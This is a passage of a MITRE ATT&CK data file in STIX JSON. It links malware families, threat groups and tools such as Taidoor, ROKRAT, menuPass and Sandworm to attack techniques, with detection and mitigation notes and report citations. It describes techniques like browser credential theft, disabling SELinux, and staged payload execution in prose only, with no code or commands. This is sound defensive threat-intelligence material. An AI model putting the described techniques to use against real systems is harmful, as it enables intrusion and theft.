2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-21T00:07:11.928Z","description":"[NDiskMonitor](https://attack.mitre.org/software/S0272) can download and execute a file from given URL.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--d1183cb9-258e-4f2f-8415-50ac8252c49e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34e75ef5-b2de-41dc-96d3-2c5388c570be","type":"relationship","created":"2020-03-21T00:27:23.580Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Taidoor","description":"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"},{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-08-24T14:13:17.463Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) uses RC4 to encrypt the message body of HTTP content.(Citation: TrendMicro Taidoor)(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34e90f3c-05d0-4202-8650-efe971222c99","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34e9fc0a-75b9-4100-91ef-30ca3225958a","type":"relationship","created":"2020-04-29T22:01:48.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis Hi-Zor","description":"Fidelis Threat Research Team. (2016, January 27). Introducing Hi-Zor RAT. Retrieved March 24, 2016.","url":"https://www.fidelissecurity.com/threatgeek/archive/introducing-hi-zor-rat/"}],"modified":"2020-04-29T22:19:36.091Z","description":"[Hi-Zor](https://attack.mitre.org/software/S0087) encrypts C2 traffic with a double XOR using two distinct single-byte keys.(Citation: Fidelis Hi-Zor)","relationship_type":"uses","source_ref":"malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34ebfdf4-ef2c-4a6c-8bfa-69704d8f7694","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/","description":"Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.","source_name":"Microsoft NEODYMIUM Dec 2016"},{"source_name":"Microsoft SIR Vol 21","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"}],"modified":"2019-03-25T16:47:54.560Z","description":"(Citation: Microsoft NEODYMIUM Dec 2016)(Citation: Microsoft SIR Vol 21)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--34ed3c2a-3e75-4c9c-966c-7fc33b92092e","created":"2024-03-27T20:06:56.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T15:19:00.901Z","description":"During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute [CaddyWiper](https://attack.mitre.org/software/S0693) at a predetermined time.(Citation: Mandiant-Sandworm-Ukraine-2022)","relationship_type":"uses","source_ref":"campaign--df8eb785-70f8-4300-b444-277ba849083d","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--34efccbe-b184-444d-8ce3-3a3e2bc2f988","created":"2022-04-01T13:27:48.479Z","x_mitre_version":"1.0","external_references":[{"source_name":"Roadtools","url":"https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/","description":"Dirk-jan Mollema. (2020, April 16). Introducing ROADtools - The Azure AD exploration framework. Retrieved January 31, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ROADTools](https://attack.mitre.org/software/S0684) automatically gathers data from Azure AD environments using the Azure Graph API.(Citation: Roadtools)","modified":"2022-04-16T22:21:54.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--6dbdc657-d8e0-4f2f-909b-7251b3e72c6d","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34f6cedf-df54-43bf-b481-2078bec94b99","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for unusual kernel driver installation activity may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34fb0f39-9aef-4b49-8a80-2ca457af8565","type":"relationship","created":"2021-09-24T18:07:57.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T19:32:35.013Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has used YouTube to store and hide C&C server domains.(Citation: ESET Casbaneiro Oct 2019)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34fbf884-95f1-480c-b032-0011f62f00f0","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Olympic Destroyer 2018","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"}]},{"type":"relationship","id":"relationship--34ff9bfb-0b3a-4b83-af85-60700ed052f4","created":"2021-05-26T20:19:44.143Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.615Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used and modified open-source tools like [Impacket](https://attack.mitre.org/software/S0357), [Mimikatz](https://attack.mitre.org/software/S0002), and [pwdump](https://attack.mitre.org/software/S0006).(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3502b4bb-0e14-46b3-a92c-ba1c9d574259","type":"relationship","created":"2021-09-24T19:13:57.242Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."},{"source_name":"Unit 42 KerrDown February 2019","url":"https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/","description":"Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021."}],"modified":"2021-10-01T17:41:39.252Z","description":"(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3502c424-9bf1-4780-a5bd-a0d3830e1251","type":"relationship","created":"2021-08-24T14:13:17.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Taidoor","description":"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"},{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-10-15T01:03:29.086Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) has the ability to use native APIs for execution including GetProcessHeap, GetProcAddress, and LoadLibrary.(Citation: TrendMicro Taidoor)(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3503cf12-e618-44b9-ac48-e1f1d7939767","type":"relationship","created":"2021-03-03T20:26:15.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-03T20:26:15.777Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) can install itself as a service.(Citation: CISA AppleJeus Feb 2021) ","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35054627-12cd-4613-bbbd-0c5848fe06f8","type":"relationship","created":"2020-10-20T15:52:49.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:19:50.215Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--350753af-f3b2-42e3-b27f-7afe5fe0caf4","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-04T15:06:07.748Z","description":"Monitor for API calls associated with detecting token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior, such as LogonUser and SetThreadToken. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--350776c3-9234-4c8f-adff-9b36778e90c4","type":"relationship","created":"2022-03-07T19:16:28.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"modified":"2022-03-07T19:16:28.185Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) has the ability to query device information.(Citation: NCSC Cyclops Blink February 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--350e9dad-4dd3-450f-b649-60340710505a","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"District Court of NY APT10 Indictment December 2018","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020.","url":"https://www.justice.gov/opa/page/file/1122671/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.616Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has attempted to get victims to open malicious files such as Windows Shortcuts (.lnk) and/or Microsoft Office documents, sent via email as part of spearphishing campaigns.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: District Court of NY APT10 Indictment December 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35178b99-6830-4150-a094-691888655525","type":"relationship","created":"2020-07-27T18:45:39.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-27T18:45:39.466Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can identify the IP address of a compromised host.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--351bb2c4-db16-4c82-9539-3851dd61c608","type":"relationship","created":"2020-06-01T14:43:27.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-01T14:43:27.401Z","description":"(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"malware--099ecff2-41b8-436d-843c-038a9aa9aa69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--352190f6-e0e6-44c9-9fd2-74179ce6eb57","type":"relationship","created":"2021-02-10T18:41:29.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Ebury Oct 2017","url":"https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/","description":"Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."}],"modified":"2021-02-10T18:41:29.152Z","description":"[Ebury](https://attack.mitre.org/software/S0377) can disable SELinux Role-Based Access Control and deactivate PAM modules.(Citation: ESET Ebury Oct 2017)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35228466-b834-474f-8657-a3492a3579b6","created":"2022-08-03T03:28:35.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SpecterOps Certified Pre Owned","description":"Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.","url":"https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-21T20:48:09.319Z","description":"Ensure certificate authorities (CA) are properly secured, including treating CA servers (and other resources hosting CA certificates) as tier 0 assets. Harden abusable CA settings and attributes.\n\nFor example, consider disabling the usage of AD CS certificate SANs within relevant authentication protocol settings to enforce strict user mappings and prevent certificates from authenticating as other identifies.(Citation: SpecterOps Certified Pre Owned) Also consider enforcing CA Certificate Manager approval for the templates that include SAN as an issuance requirement.","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3524e5ae-332f-4e53-8129-e638961cc38e","type":"relationship","created":"2019-09-16T19:41:10.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","source_name":"Security Intelligence More Eggs Aug 2019"},{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T21:40:23.718Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) has used cmd.exe for execution.(Citation: Security Intelligence More Eggs Aug 2019)(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--352953e9-c1ca-4d25-84b6-eb05a012b2e9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"}],"modified":"2022-03-22T17:21:33.390Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can steal credentials stored in Web browsers by querying the sqlite database.(Citation: Talos Group123)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--352e6e5a-f1e0-46f8-826a-978981f6d893","type":"relationship","created":"2022-03-22T14:31:39.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T14:31:39.342Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has deobfuscated Base64-encoded shellcode strings prior to loading them.(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--352e990d-48be-4d1a-bd8a-bc27d641aa1f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","source_name":"Palo Alto OilRig May 2016"}],"modified":"2019-09-04T22:55:41.325Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used a CHM payload to load and execute another malicious file once delivered to a victim.(Citation: Palo Alto OilRig May 